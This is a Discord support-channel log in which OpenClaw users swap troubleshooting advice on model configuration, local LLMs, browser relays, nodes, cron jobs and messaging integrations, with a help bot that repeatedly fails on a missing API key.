@sharp parcel I am having an issue with the OpenClaw Control app, whenever I try to use it it loads as a completely blank screen. The direct browser link approach works though. anyone experience this?

sharp parcelBOT
#

⚠️ Agent failed before reply: No API key found for provider "anthropic". Auth store: /srv/clawdbot/state/agents/main/agent/auth-profiles.json (agentDir: /srv/clawdbot/state/agents/main/agent). Configure auth for this agent (clawdbot agents add <id>) or copy auth-profiles.json from the main agentDir.
Logs: clawdbot logs --follow

willow solstice
zenith belfry
#

After I run the script that downloads and installs openclaw...I don't know which choices to make during set up. I don't understand how it works... - my thought was we could use our Grok subscription (but it appears you have to pay extra in addition to your subscription?) APIs., etc., but also could use our own instance that's free...QWEN or something like that...so...I want to do cool stuff, but I can't get through the first challenges....yet

#

I kept asking Grok for help setting itup....Grok doesn't know

#

lol

true marlin
#

Is there a step by step on how to make it autonomous and proactive?

shy stone
# muted valve How to use Claude Opus 4.6 on OpenClaw right now (before official registry updat...

Yup I got it working by doing this "I got 4.6 to work by using the following: 📋 How to Add a New Model to OpenClaw (Before Official Release)

When a new model drops but OpenClaw's build doesn't recognize it yet, you can add it via config.

1️⃣ Edit ~/.openclaw/openclaw.json (or wherever your config lives)

Add under top-level "models" key:

"models": {
"providers": {
"anthropic": {
"baseUrl": "https://api.anthropic.com",
"api": "anthropic-messages",
"models": [
{
"id": "claude-opus-4-6",
"name": "Claude Opus 4.6",
"api": "anthropic-messages",
"reasoning": true,
"input": ["text", "image"],
"contextWindow": 200000,
"maxTokens": 128000,
"cost": { "input": 5, "output": 25, "cacheRead": 0.5, "cacheWrite": 6.25 }
}
]
}
}
}

2️⃣ Set as default (agents.defaults):

"agents": { "defaults": { "model": { "primary": "anthropic/claude-opus-4-6" } } }

3️⃣ Also add to the models allowlist (or it'll block /model switches):

"agents": { "defaults": { "models": { "anthropic/claude-opus-4-6": { "alias": "opus46" } } } }
4️⃣ (Optional) Auth profile order:

"auth": { "order": { "anthropic": ["anthropic:claude-cli"] } }

5️⃣ Restart: openclaw gateway restart

💡 Why: OpenClaw checks its built-in registry first, then falls back to models.providers in config. Custom providers get written to ~/.openclaw/agents/<agentId>/models.json. Defining the model inline bypasses the registry — no code update needed."

zenith belfry
#

ummm

willow solstice
zenith belfry
#

I'll see if I can parse that

zenith belfry
#

cloud server

#

I don't want that, though, I want locally-run LLM

#

am I misunderstanding?

main turtle
#

** Talk with OpenClaw ** on Linux Desktop : Noobie here. I installed openclaw on my arch linux ( omarchy) Desktop. What is the best tool / package that would allow me to talk to openclaw and allow openclaw to talk back to me ? I already linked it to xai, Signal is configured ( more integration to come) but I spent hours trying to use Whisper or Whisperer (something like that) without much success. Not, the Web interface is working.

novel spruce
#

not sure in which channel this questions fits best. do you guys have any recommendation for a TTS solution ? so that your bot can answer through voice messages.

muted valve
#

you can just ask it to set up the Microsoft one which is free

smoky compass
#

There is nothing on MCP configuration in the OpenClaw docs. I'm sure if I search through this Discord I can find some information but how are people configuring MCPs to their OpenClaws?

zenith belfry
#

I guess I was just hoping for a guide document

muted valve
#

it will set it up for you

willow solstice
#

@zenith belfry send you a DM

sacred swallow
#

Has anobdy seen this where openclaw suddenly responds in a diff language (Chinese for example) when you have never conversed it that language at all with it

Or is it the model to blame?

novel spruce
atomic wolf
#

Hey How can I pair my Android with my OpenClaw host?

tribal inlet
#

Hey guys i am not really technical and Ive been trying for a couple days to get my clawdbot running. Im having serious problems with Context and to get my first Mission Control running with active memory, could someone help me oout im burning money for nothing rn. or is there maybe a easier setup to get to an operational mission control setup ? would really appreciate the help just reinstalled openclaw im setting it up as i write !

sterile brook
#

Is there a way to have multiple agents that each connect to their own discord server, without having to do multiple gateways?

deep knoll
#

My first attempt to give my bot an email with Himalaya was oauth with Gmail and it almost immediately got suspended by Google for being bot activity (not wrong lol). Now the bot wants to try the same with Outlook. Does anyone know if it’d have the same result or if there’s better solutions?

candid lava
#

I'm at my wits end with my agent. I have multiple gog accounts setup, and have configured MEMORY.md to remind the agent to check all the calendars, yet when I ask my schedule, it only checks the default. Any suggestions?

tight steppe
alpine arrow
#

Why does running llm local openclaw tell me it doesn't have access to my files, but when I use an API like Gemini, it does? What's the problem, and which model should I use?

gritty oracle
#

anyone know how to force the openclaw control app to flush any cached token it was using? I changed my token and I can get the direct web URL to work, but not the native app it ships with. I am on a MAC. as a result the native control app loads with white screen.

brave trench
#

Not too familiar with Apple but run the Administrator on your CLI and redue the Openclaw Onboard. Then Openclaw restart. Then Openclaw Dashboard. Hope it works for you

empty gazelle
#

The max context matters

gritty oracle
alpine arrow
empty gazelle
#

The more context that model can support the more reliable it is for openclaw

#

Gemini models specially the flash models have 1 mil max context

#

So it does well

alpine arrow
empty gazelle
#

It depends

alpine arrow
#

im running LM STUDIO

empty gazelle
#

I've had best experience with gemini 3 flash and Xiaomi mimo v2

#

Both are cloud models

#

Local models I've not checked so far

alpine arrow
empty gazelle
#

Cause I'm having it on a vps if I have it locally I'd see what works later

alpine arrow
#

understood

#

let me try another model then

empty gazelle
#

Use ai to search for models with good tool caling support and high context windows

#

Probably will fit your needs most likely

alpine arrow
gritty oracle
#

I notice dogwatcher Kimi 2.5 seems kinda dumb at times

alpine arrow
#

ollama

empty gazelle
gritty oracle
#

might be good at programming and some execution but when it comes to being the main brain. it just is dumb at times and after 4 days using it, I am ready to try something else to see if experience changes

#

I need to compare to what the experience is with another premier model

alpine arrow
#

i was using gemini since im paying their plan. but now im having issues with windows

#

i hate windows.

reef galleon
#

I'm still unsure - how do I get Claw to use Chrome on my behalf on Mac Mini. It's telling me it doesn't have that capability.

prisma pewter
#

fck me, suddenly when telling my clawbot to update it's config file( nothing serious just caching for certain models) it suddenly stopped working and now i get zsh: command not found: openclaw dashboard (macbook pro)

lean pilot
#

keep getting ⚠️ Agent failed before reply: Unknown model: openrouter/auto.
Logs: openclaw logs --follow

anyone know how to fix? only fix i found was to reset the bot completely but i just run into the same problem again later

empty gazelle
stuck elk
#

Am I crazy or is the clean install flow totally broken right now? No matter what I do the gateway dies. I tried posting at #1459642797895319552 but had no lucl.

autumn junco
#

So i am hosting on aws i made a backup/snapshot and when i am restoring the data the files are there but openclaw command dont work can someone help please it's my 4th time i am trying from scratch

uneven spindle
#

yo yo.

lean pilot
empty gazelle
astral garden
# 

Error: Bundled Chrome extension is missing. Reinstall OpenClaw and try again.
```i get this error even doh i've reinstalled it several times idk and updated why?
#

npm purge and still when i npm install it gives this error

gritty oracle
empty gazelle
#

I'll probably end up making a pr to allow any openrouter model directly without needing to do this on openclaw

It seems like a consistent problem that keeps happening to me and others

uneven spindle
#

im on antigrav oauth, and im trying to make the bot track usage across models, anyone done this successfully?

empty gazelle
prisma pewter
#

can i reinstall openclaw, and it still keeps all my previous files? i keep getting send failed: Error: gateway not connected

uneven spindle
#

it made its own cron job and spawns a subagent to check, with varying times, above 75% it will only run every 12 hours.

uneven spindle
burnt bramble
#

Hiya, does anyone know if we have an official OpenClaw android app? My lobster referenced it, but I couldn't find on the Play store

uneven spindle
#

but yeah you can run onboarding again anytime and it will keep or skip what you want.

astral garden
uneven spindle
azure cedar
#

Any links to best Mac mini openclaw setup tutorials? From fresh install if possible

safe bone
#

Does ANYONE have a working browser setup?

#

Mine can go to websites but can't perform actions like clicking and typing. Can get the snapshot though.

empty gazelle
astral garden
uneven spindle
#

mine is currently writing to sheets in browser, but not real browser automation, while also playing chess with my community in discord LOL.

safe bone
#

HOW

astral garden
#

i only get this 😢 ```Error: Bundled Chrome extension is missing. Reinstall OpenClaw and try again.

safe bone
#

Give it the permission to exec commands for this

astral garden
#

It just keeps on repeating same stuff

#

it wont do it lol

burnt bramble
uneven spindle
#

there is some openclaw chrome extension but its finicky, its prolly better especially if you have opus to just have it make a skill.

mental quarry
#

Hey 😄
I've installed wsl and brew, how to make openclaw use it ? When I try to install a skills, it just says "brew not installed"

uneven spindle
safe bone
# safe bone Mine can go to websites but can't perform actions like clicking and typing. Can ...

Log tail (from ⁨openclaw logs --follow --plain | rg -i 'browser|cdp|devtools'⁩):

⁨```text
🦞 openclaw browser started (chromium) profile "openclaw" on 127.0.0.1:18800 (pid 716358)
...
error [tools] browser failed: Can't reach the OpenClaw browser control service.
Start (or restart) the OpenClaw gateway (OpenClaw.app menubar, or openclaw gateway) and try again.
(Error: fields are required)

ashen pendant
#

Can someone please explain how THE F*******CK to get claude cli working with openclaw? I've spent about 10 hours on claude code, codex, and tui trying to figure out why the hell he won't use any model except anthropic API. Every single time I switch I just get error after error with 0 traction towards an actual solution. I'm ripping my hair out after all this

cerulean mantle
#

Super new to this all, Just got my Claw setup yesterday and worked in the CLI all day since my Matrix server is not fully functional yet, it works but it only sends one message then I have to message him back to get follow up information.
How do I get back to working with my agent? I have not been able to get the Webgui connected and working yet either.

crude quarry
ashen pendant
autumn veldt
#

i got 4.6 working

crude quarry
oak nimbus
autumn veldt
#

max plan token

opal thorn
#

Hello can anyone help me connect openclaw with notion?

vital wave
#

i was able to talk to my moltbot using discord but I reset it due to a different problem now it cannot read the messages I send to it but it can message me? does anyone know what might be wrong

empty gazelle
true marlin
#

Claude keeps cooling down, and when goes to open ai the model doesn’t support, what should I do? Already ask openclawd to
Optimize

empty gazelle
#

My Guess is the closest to it is the antigravity quota skill on clawhub

#

Try that and make the agent improve on it

uneven spindle
weak tangle
#

can someone help me with the browser extension? I have the extension installed on my laptop but openclaw gateway on my PC at home. ive ssh tunnel to it and i try to make a node but it doesnt do anything when i make the node and trying to click the extension returns an error

burnt bramble
empty gazelle
ashen bridge
#

anyone knows the best way to keep the bot responsive for parallel tasks ? sometimes I ask something and he keeps doing on the main thread, making him unresponsive until its done.
I always ask to spawn subagents, but it doesn't always work. does anyone have skills/memory/soul that solves this consistently?

lean pilot
#

anyone know why model claude 3.7 sonnet sends 10-20 messages at once instead of 1 full message? just wasted like $10 in openrouter credits from that 😭

torpid furnace
#

I'm on a local llm. I haven't had this issue until today. LM Studio is showing it's finished it's stream, but openclaw's response box is flashing red still, and seems like it's still thinking, despite no activity on lm studio. Anyone run into this?

empty gazelle
coarse laurel
#

In the LLM era, where cna I find good documentation and support to have my Openclaw work ? Not being able to connect to openai, and Chatgpt keeps hallucinating proposing things that do not work

empty gazelle
#

Also don't use Claude sonnet vis openrouter it's gonna be very expensive via api

#

Mainly due to how bloated the context is on openclaw

lean pilot
empty gazelle
lean pilot
#

thank you for the info earlier, i got it fixed. just need to do some fine tuning now @empty gazelle

stuck elk
#

Is anyone on the latest version with Telegram? it seems like it's 100% broken? I am also seeing oAuth with Codex not working?

empty gazelle
fresh moon
stuck elk
# empty gazelle Seems to be working for me My Guess is some agent is running in the main thread...

No I have wiped the thing out and done a clean re-install god knows how many times now. Install, oauth into codex, set up telegram. Telegram has a 100% crash rate that is easily reproducible and takes down the gateway. Disable Telegram and gateway stays up. Then I got into the tui and it doesn't even pull the right model info for some reason? auth-profiles says to use codex default, but it's using 5.1-codex-mini. Configuring a different model via openclaw configure doesn't actually do anything?

uneven spindle
#

so ive got it to successfully create a sheet based on data it pulling from a discord channel, is there an easy way to enable making this pretty or easier to read from a human perspective.

lone verge
#

did I mess up my setup or are you guys all getting punycode deprecation warns?

uneven spindle
lone verge
#

did you update to 2026.2?

uneven spindle
lone verge
#

dang it, how did I already mess up in the first week

uneven spindle
#

youll get it, i comepletely killed v1, v2 is running smooth asf.

formal fiber
#

Is there a command to fix my config? I tried to get my OpenClaw to update its config to Opus 4.6. Says unknown model. Now I can't revert it back.

empty gazelle
formal fiber
empty gazelle
#

Try using the /model command

#

And set a model with that and ask it to fix it I guess?

uncut halo
#

Good evening to all
Those that all use locally with a Mac mini .Can I have your config? I did some research, I plan to buy a MAC Mini M4 Pro 64go from RAM and an M2 or MAC Studio M1 Max from 32GB to manage the local LLM, Openclaw and others

formal fiber
empty gazelle
#

Ie in telegram

stuck elk
#

I think part of the issue I am seeing is that some of the code seems to use ~/.moltbot and some uses ~/.openclaw has anyone seen this? Found a way to resolve it?

fluid holly
#

Ask your bot to see if its ok to uninstall moltbot. Then uninstall. No more duplicate configs to confuse the models.

stuck elk
#

Bot never works well enough to respond to chats. I just did another round of uninstall - reinstall and it shows:

Updated ~/.moltbot/openclaw.json
Workspace OK: ~/.openclaw/workspace
Sessions OK: ~/.openclaw/agents/main/sessions

patent grove
torpid furnace
#

My agent's runs are timing out after 10 minutes. Can timeoutMs=600000 be changed somewhere?

frank coyote
#

Can i use in iphone ?

hollow ermine
#

Hi all. First openclaw install having an odd Discord bot issue. I'm running openclaw and ollama with Qwen3:8b locally. All working as it should. Built the Discord bot and connected to openclaw. The discord bot will respond via DM (after pairing) but only responds once in my Discord #general channel then wont respond to mentions after that

lone verge
torpid furnace
lone verge
#

np now I just need to figure out the rest of the config cuz nothing works anymore on my setup

subtle horizon
#

hey... I have a question... is it normal to have the tool calling bleedin into the messages?
My molty keeps writting the tool commands into the telegram message and then stops, I'm assuming waiting for the result of the command but obviously it never happens... Is that me or is a common error?

paper agate
#

guys claude-opus-4-6 is not working as model name openclaw

sinful dawn
paper agate
#

did someone get opus 4.6 to run with openclaw

#

it is available in claude code and i can use it with my max subscription. And openclaw is just using a wrapper around claude code

normal skiff
# subtle horizon hey... I have a question... is it normal to have the tool calling bleedin into t...

Yeah thats a common issue, especially with local or smaller models. They dont handle tool calling properly so instead of executing the tool they just output the raw json.

What model are you using? If its local like ollama, thats pretty much expected behavior unfortunately. The fix is switching to a cloud model that handles function calling properly. Free gemini works well for this.

Also molty is old, updating to openclaw might help but probably wont fix it if the model itself cant do tool calls right.

arctic stream
#

Thank god I found this page

I told my agent to go ahead and upgrade to ChatGPT5.3 and now he can’t respond to chat prompts but the connection shows it’s green and running with no problems

uneven spindle
#

its now tracking and keeping notes on my community members using an interactions md, pretty cool semi skill.

normal skiff
# paper agate did someone get opus 4.6 to run with openclaw

If it's available in Claude Code with your Max subscription, OpenClaw should be able to use it since it wraps Claude Code's auth.

Try:

openclaw models list --provider anthropic
Look for the exact model name, then:

openclaw models set anthropic/claude-opus-4-6
If it's not showing up in the list but works in Claude Code directly, OpenClaw might need an update to recognize the new model ID. Check your version:

openclaw --version
Latest releases usually add new model support within a few days of Anthropic releasing them.

subtle horizon
cyan canopy
#

Is openclaw able to run codex if I pay for chat gpt Max? Or is it only api key based like Claude

normal skiff
normal skiff
cyan canopy
subtle horizon
winter perch
#

Hey guys. Been digging through the docs for several days and I could use some help when it comes to setting up a node host.

I have my gateway running on a ubuntu server and everything is good there. I have the MacOS companion app on my laptop with direct wss connection to the gateway via Tailscale serve mode. Everything works from MacOS companion app > gateway. Setting and reading config, Voice Wake, chat, etc. Yet, I can't seem to get the gateway to run things like browser on MacOS as a node host. Right now, I'm just trying to debug tool execution via the gateway machine manually so that I can rule out sandbox exec allowlist. When I run openclaw nodes list on the gateway machine, it shows 0 nodes. Looking at the Nodes page via the ControlUI shows several devices, but none of them have advertised browser tool as a capability.

arctic stream
#

Is anyone using ChatGPT 5.3?

obtuse cloud
#

Yesterday, I gave OpenClaw my username and application password to post to my self-hosted WordPress site. It did five great posts and even added stock photos. Everything looked great; it formatted it and put it in the right categories.

Today, when I tried to do that, it said that it cannot post to different sites. Yesterday, I asked it about posting to social media and it told me it could post through Buffer. Today, it says that it can help me, but it can't post to anything. What's going on? Is there some kind of an update?

Yesterday, it said it could find YouTube videos for me and summarize them, and today it said it can't. What the heck is happening? Is there an update coming?

normal skiff
# subtle horizon I'm on the subscription... Mostly all the open source LLM are there. kimi. Qwen...

Yeah thinking models take forever sometimes, especially on telegram which has its own timeout limits. Try bumping up your timeoutSeconds in the config if you havent

openclaw config set agents.defaults.timeoutSeconds 1800

or just stick with non-thinking versions for telegram. Save the thinking models for when you need deep reasoning, regular chat doesnt need it and the speed tradeoff isnt worth the timeouts.

empty gazelle
placid hedge
#

Struggling to get gog set up. After running gog auth add ..., I get store token: Object does not exist at path “/”

subtle horizon
celest zenith
#

My agent disappeared when trying to connect to my Ollama instance on the local lan. Now I just get generic answers from the LLM, and doesn't know who my bot is. Anyway to recover from this?

normal skiff
# winter perch Hey guys. Been digging through the docs for several days and I could use some he...

Node host setup is a bit more advanced than what I know well but heres what I'd check.

The macos companion might need to explicitly advertise its capabilities. Look for a node config or capabilities section in the companion app settings. Browser tool needs to be enabled there for it to show up as available.

Also check if theres a node register or advertise command you need to run on the mac side. Just connecting via wss might not be enough, it might need to announce what tools it can handle.

If openclaw nodes list shows 0 even though control ui shows devices, theres probably a mismatch between how connection works vs how nodes register their capabilities. The devices are connected but not offering tools.

Check the docs for node.capabilities or tool.advertise settings. Or ask in the discord if anyone has a working multi-node setup they can share configs from.

normal skiff
subtle horizon
uncut halo
winter perch
warped violet
#

@sharp parcel when running openclaw locally using ollama and qwen3-coder, what model/auth provider should I choose during config?

sharp parcelBOT
#

⚠️ Agent failed before reply: No API key found for provider "anthropic". Auth store: /srv/clawdbot/state/agents/main/agent/auth-profiles.json (agentDir: /srv/clawdbot/state/agents/main/agent). Configure auth for this agent (clawdbot agents add <id>) or copy auth-profiles.json from the main agentDir.
Logs: clawdbot logs --follow

normal skiff
normal cape
#

anyone see this before: Missing Control UI assets. Build them with ⁨pnpm ui:build⁩ (auto-installs UI deps).

paper agate
#

u need this prompt for oepnclaw and after that run "openclaw gateway install" and "openclaw gateway restart"

Upgrade me to Claude Opus 4.6. Follow these steps exactly:
Find the model catalog file:
find /opt/homebrew/lib/node_modules/clawdbot -name "models.generated.js" -path "pi-ai"

(On Linux, check /usr/lib/node_modules/clawdbot instead)
In that file, find "claude-opus-4-5". There are two entries (one with provider: "anthropic", one with provider: "opencode"). Add this block above each one, matching the provider field to whatever the 4.5 entry below it uses:
"claude-opus-4-6": {
id: "claude-opus-4-6",
name: "Claude Opus 4.6 (latest)",
api: "anthropic-messages",
provider: "anthropic",
baseUrl: "https://api.anthropic.com",
reasoning: true,
input: ["text", "image"],
cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
contextWindow: 200000,
maxTokens: 64000,
},

Patch the config:

Use gateway config.patch with: {"agents":{"defaults":{"model":{"primary":"anthropic/claude-opus-4-6"},"models":{"anthropic/claude-opus-4-6":{"alias":"opus"}}}}}

IMPORTANT: The config patch does a hot reload which won't pick up the catalog change. You need a full cold restart. Run: clawdbot gateway stop && clawdbot gateway start

After restart, verify with session_status that you're running on claude-opus-4-6.

normal skiff
sharp parcelBOT
#

⚠️ Agent failed before reply: No API key found for provider "anthropic". Auth store: /srv/clawdbot/state/agents/main/agent/auth-profiles.json (agentDir: /srv/clawdbot/state/agents/main/agent). Configure auth for this agent (clawdbot agents add <id>) or copy auth-profiles.json from the main agentDir.
Logs: clawdbot logs --follow

normal skiff
subtle horizon
opal thorn
#

Anyone has experience with openclaw and notion connection?

slender breach
#

I don't find answer in docs. Is there a way to see media previews in control ui (web interface). Now it pass to me only file name.
like this: aca10d5b-6a93-4a89-beb5-bd4421bb234c.png
It works fine if I ask to send this image via telegram.

wild jacinth
#

pls, Tell me how to install skills from clawhub.

winter perch
warped violet
#

I'm installing locally on linux with ollama and qwen3-coder. When asked how I want to hatch the bot, whats the difference betten using webui and tui?

weak tangle
#

I've got an issue with the browser relay and node

I got gateway running on PC (WSL) and bound to loopback 127.0.0.1:18789 (default).
I can reach the gateway UI over an SSH tunnel from my laptop, but the Chrome extension never connects (stuck on ... or !).

When clicking the extension, gateway logs show:

invalid handshake / invalid request frame from chrome-extension://…

Nodes either don’t appear as connected (nodes list always empty) or auto-pair but still don’t work for browser actions.

Docs say browser actions require a node host on the browser machine, but even with a node running locally the relay won’t stay connected, I do have it working on host machine though.

Feels like I’m missing a required step for browser node and relay handshake. Any guidance?

Anyone got it set up remotely?

warped violet
#

Also, not sure what option to select for MOdel/auth, as ollama isn't listed. Do I need to modify for that somewhere instead of just skipping for now?

torpid furnace
#

Man today's rough. I've gotten it to code several scripts, and now it works through one, and then the run seemingly restarts and nothing is actually written? Logs just say the run ended

weak tangle
weak tangle
remote sparrow
#

hey guys

#

is linux mint a good os to run this on?

lone verge
#

does hatch do anything special besides sending wake up prompt?

weak tangle
weak tangle
remote sparrow
wild jacinth
weak tangle
weak tangle
remote sparrow
normal skiff
idle sphinx
#

Hey! My agent (Opus 4.6, contextTokens: 16000) doesn't reliably respond to system notifications. Here's what's happening:

I start Codex CLI in background (exec with background:true, pty:true)
When Codex finishes, the system notification "Exec completed (session-id, code 0)" arrives correctly in the session
The agent does NOT generate a response — it stays silent
Same issue with cron jobs (sessionTarget: "main", payload.kind: "systemEvent") — events arrive but the agent doesn't reply
Context is typically high at that point (well above the contextTokens limit, pruning active, compaction.mode: "safeguard"). Could it be that system events at high context get dropped or aren't treated as turn triggers?

Setup: OpenClaw 2026.2.2-3, compaction.mode: "safeguard", contextPruning.mode: "cache-ttl", memoryFlush.enabled: true, contextTokens: 16000.

Is there a way to ensure the agent ALWAYS generates a response to system events? Or should I use a different approach (e.g. isolated session cron instead of main session systemEvent)?

normal skiff
# idle sphinx Hey! My agent (Opus 4.6, contextTokens: 16000) doesn't reliably respond to syste...

Switch your cron jobs to use isolated sessions instead of sessionTarget main. Each cron gets fresh context so events always trigger responses.
For the background exec completion notifications, have it target a separate lightweight session dedicated to monitoring, not main. Then that session can notify you or take action without fighting with main context.
If you need it in main session specifically, increase contextTokens to 32000 or higher so pruning doesnt kick in until theres more room for system events to land.

deep knoll
#

Would this also work for like simple time based reminders (which it also consistently ignores or forgets even though it insists it’s writing a cron job for it)

crude musk
#

Saw "Inside-Out-2 Memory" in the showcase docs, the one that turns session files into memories → beliefs → evolving self-model.
Is this available somewhere? Repo / ClawdHub link? I would love to try it out!

normal skiff
# deep knoll Would this also work for like simple time based reminders (which it also consist...

Yeah same fix works for reminders. If the reminder cron fires into main session and context is high, it gets lost. Have reminders target their own isolated session or a dedicated reminders session with low context.
The agent saying it wrote a cron job doesnt mean the job will actually trigger a response when it fires. Two separate problems. Check openclaw crons list to verify the job exists at all, then check if it fires to an isolated session so it definitely triggers.

obsidian sparrow
#

This openrouter bug gonna kill me I fix it for 3 days and it’s back again

weak tangle
#

I have my gateway running on WSL on my PC at my house. It is running loopback bind to 127.0.0.1:18789
I have WSL and windows on my laptop I'm using remotely to try and get the browser relay and nodes to work on.
After starting a tunnel through SSH from my laptop as it states to do for a node, I can reach the web-UI as well but the node just prints a path and does nothing or errors out the ass.
when it comes to trying the extension it just gets stuck on ... or !
In the gateway logs it says stuff about invalid request frames and invalid handshakes which nothing has been fixed.
docs say browser features require a node host but it never appears in nodes list and is always empty.
Feels like im missing something or there is any easier where to do this.
anyone know what to do

deep knoll
wild jacinth
#

For some reason, when I try to call a command, my bot crashes and displays this:
[Called function: exec]
Arguments:
{
"command": "clawhub --cli-version"
}
What could be the problem?

strong ridge
normal skiff
# weak tangle I have my gateway running on WSL on my PC at my house. It is running loopback b...

Invalid handshake usually means the ssh tunnel isnt forwarding websockets correctly. Regular http works but websocket upgrade fails.
Try this setup instead. On your home pc gateway, switch from loopback to bind 0.0.0.0 so it accepts external connections. Then use tailscale between home pc and laptop instead of ssh tunnel. Tailscale handles websockets properly and gives you a stable ip.
If you want to stick with ssh, make sure youre using -L with the right ports and that nothing is stripping websocket headers. Some ssh configs mess with that.
For the node not appearing, the node needs to successfully connect and register before it shows up. The handshake errors mean its failing before registration. Fix the connection first then nodes should populate.

deep knoll
#

I just straight copy pasted your advice and it says it followed it so hopefully this works out

“Fixed!

Changed the reminder from:

• sessionTarget: "main" + systemEvent ❌ (could get lost)
To:

• sessionTarget: "isolated" + agentTurn ✅ (guaranteed to run)
Your advice is solid — isolated sessions with agentTurn payloads are much more reliable for reminders. The deliver: true flag (when included) ensures the message actually reaches you even if the main session is buried.”

weak tangle
normal skiff
# wild jacinth For some reason, when I try to call a command, my bot crashes and displays this:...

Thats the same tool calling issue others have hit. The model is outputting the raw function call json instead of actually executing it.
What model are you using? If its a local model or smaller cloud model, they often cant handle function calling properly. Switch to gemini-2.0-flash or claude and that should fix it.
If youre already on a good model, check your logs for the actual error. openclaw logs --follow might show why the exec failed after the function was called.

weak tangle
#

could u dm me and walk me through

normal skiff
# weak tangle I saw on docs it was not smart to put it to 0.0.0.0.

Youre right. Let me fix that.
0.0.0.0 is fine if you set up auth first. The docs warn against it without auth because anyone can connect. But with gateway auth enabled youre protected.
Add token auth before switching bind
openclaw config set gateway.auth.mode token openclaw config set gateway.auth.token your-secret-token
Then bind to 0.0.0.0 and restart. Now only clients with the token can connect. This is simpler than tailscale if you already have ssh working, just forward the port and connect with the token.

normal skiff
warped violet
#

Linux local install with ollama. After choosing my workspace, I'm asked to select "Model/auth providor" and given a list of options to choose from that include anthropic and openai etc, but not ollama. If I skip till later, how do I set it as ollama down the road?

wild jacinth
weak tangle
lone verge
#

could someone tell me if this looks right? Can't for the life of me get OpenClaw to talk to LM Studio on my other machine...

% openclaw models status

🦞 OpenClaw 2026.2.3-1 (d84eb46) — Less clicking, more shipping, fewer "where did that file go" moments.

Config        : ~/.openclaw/openclaw.json
Agent dir     : ~/.openclaw/agents/main/agent
Default       : lmstudio/minimax-m2.1
Fallbacks (0) : -
Image model   : -
Image fallbacks (0): -
Aliases (0)   : -
Configured models (1): lmstudio/minimax-m2.1

Auth overview
Auth store    : ~/.openclaw/agents/main/agent/auth-profiles.json
Shell env     : off
Providers w/ OAuth/tokens (0): -
- lmstudio effective=models.json:sk-lm-oA...s6TAVLER | models.json=sk-lm-oA...s6TAVLER | source=models.json: ~/.openclaw/agents/main/agent/models.json

OAuth/token status
- none

% cat ~/.openclaw/agents/main/agent/models.json
{
  "providers": {
    "lmstudio": {
      "baseUrl": "http://desktop:1234/",
      "apiKey": "sk-lm-oA...s6TAVLER",
      "api": "openai-completions",
      "models": [
        {
          "id": "minimax-m2.1",
          "name": "MiniMax-M2.1-GGUF",
          "reasoning": false,
          "input": [
            "text"
          ],
          "cost": {
            "input": 0,
            "output": 0,
            "cacheRead": 0,
            "cacheWrite": 0
          },
          "contextWindow": 80000,
          "maxTokens": 8192
        }
      ]
    }
  }
}
brittle brook
#

anyone have success connecting tailscale (local node - gateway remote setup) to the companion app

#

having problems with the tailnet and the app transport security

ashen pendant
#

is anyone else having insane trouble using their claude subscription in openclaw rather than an API? Did anthropic block CLI use on the basis of TOS?

hard tinsel
#

all models got discconected for me

pulsar grotto
#

Yeah it's not working

hard tinsel
#

hrrrmm lets see, might be connected to 4.6 release I guess.

crude musk
#

Saw "Inside-Out-2 Memory" in the

placid hedge
#

How exactly do memories work? Are they always loaded into context? I did a /reset and my agent didn't follow a request in its MEMORY.md 🙁

brazen ocean
fringe brook
#

Hello, i am trying to find out why does my clawd with kimi 2.5 never runs my cron jobs. does anyone have any idea?

ripe wigeon
#

A few things to check for cron jobs not running:

  1. Is the gateway running?
    Run: clawdbot gateway status
    Crons only fire when the gateway daemon is active.

  2. Check your cron config
    Run: clawdbot cron list
    Make sure jobs are enabled and have valid schedules.

  3. Check the logs
    Run: clawdbot logs --follow
    Watch for cron trigger messages or errors.

  4. Model compatibility
    Some models handle cron prompts differently. Try a test cron that fires in 1-2 minutes to see if it triggers at all.

  5. Heartbeat vs Cron
    If heartbeats work but crons don't, it might be a scheduling issue. What does your cron schedule look like?

Happy to help troubleshoot if you share more details!

obtuse cloud
ripe wigeon
# brittle brook anyone have success connecting tailscale (local node - gateway remote setup) to ...

I ended up utilizing Tailscale for my setup.
I run a similar setup (gateway on VPS, node on local machine, all via Tailscale). A few things:
App Transport Security (iOS)
iOS requires HTTPS. If you're connecting to a raw Tailscale IP (100.x.x.x), you won't have a valid SSL cert.
Solution: Tailscale Funnel
Use Tailscale Funnel to expose your gateway with automatic HTTPS:
This gives you a public URL like https://your-machine.tailnet-name.ts.net:8443 with valid SSL.

For the companion app:

  • Use the Funnel HTTPS URL, not the raw Tailscale IP
  • Make sure port 8443 (or whatever your gateway uses) is funneled

Check Funnel status:

What port is your gateway running on?

ripe wigeon
craggy shoal
#

ih ave the 200 max plan. i have 0% on my 5 hour session but i keep getting this: Context overflow: prompt too large for the model. Try again with less input or a larger-context model.

it only works when i turn on extra usage. i have done /new and /reset and it didn't help

#

has this happened to anyone else?

#

was working fine before, i didn't change anything

#

did i get banned from claude or something? i have no clue why oauth would not work

winter perch
young nebula
#

am i going crazy or is the openclaw browser extension not on the chrome web store?

arctic stream
#

Does 5.3 work for openclaw?

harsh moss
#

so when you guys are using ollama as the backing for openclaw.... do your tools work? he can still read files and whatnot?

tame sigil
#

anyone else get double messages? Using codex and every reply gives me a double post of almost the same info

harsh moss
#

I was attempting to host with vllm but the streaming tools never worked

normal skiff
#

Those videos are highlight reels — carefully prompted demos with perfect conditions, not daily reality.
Hard truth: OpenClaw doesn't "want" to do things. It's an LLM wrapper. No autonomous AGI, just responds to prompts then forgets.
Why yours feels useless:
Saving to MDs only works if something prompts it to READ them on startup
"Do innovative stuff" is too vague — needs specific triggers like "when X happens, do Y"
Claude Max through Telegram hits rate/context limits fast
What actually works: Build specific skills with clear triggers (new email → summarize → notify). Not "be smart" but concrete if/then rules.
What tasks are you actually trying to automate? Easier to help with specifics.

fervent quail
#

Cron Scheduler Bug - Jobs Reschedule Instead of Execute

Version: 2026.2.3-1

Problem: Cron jobs stop executing but keep getting rescheduled. The scheduler advances nextRunAtMs without actually running the job, so lastRunAtMs stays stuck at the old timestamp.

Symptoms:

• Job has lastRunAtMs from hours ago
• nextRunAtMs keeps moving forward every heartbeat
• Job never actually executes
• cron run --jobId returns "ran": false, "reason": "not-due" even when past due
What triggered it:

• API credits ran out for ~2 hours (7:21am-9:28am)
• Jobs failed during this window with "credit balance too low"
• After credits restored, scheduler never recovered
What I tried (all failed):

• Multiple gateway restarts
• Force wake with mode="now"
• Updating state.nextRunAtMs via cron update patch (patch doesn't update state)
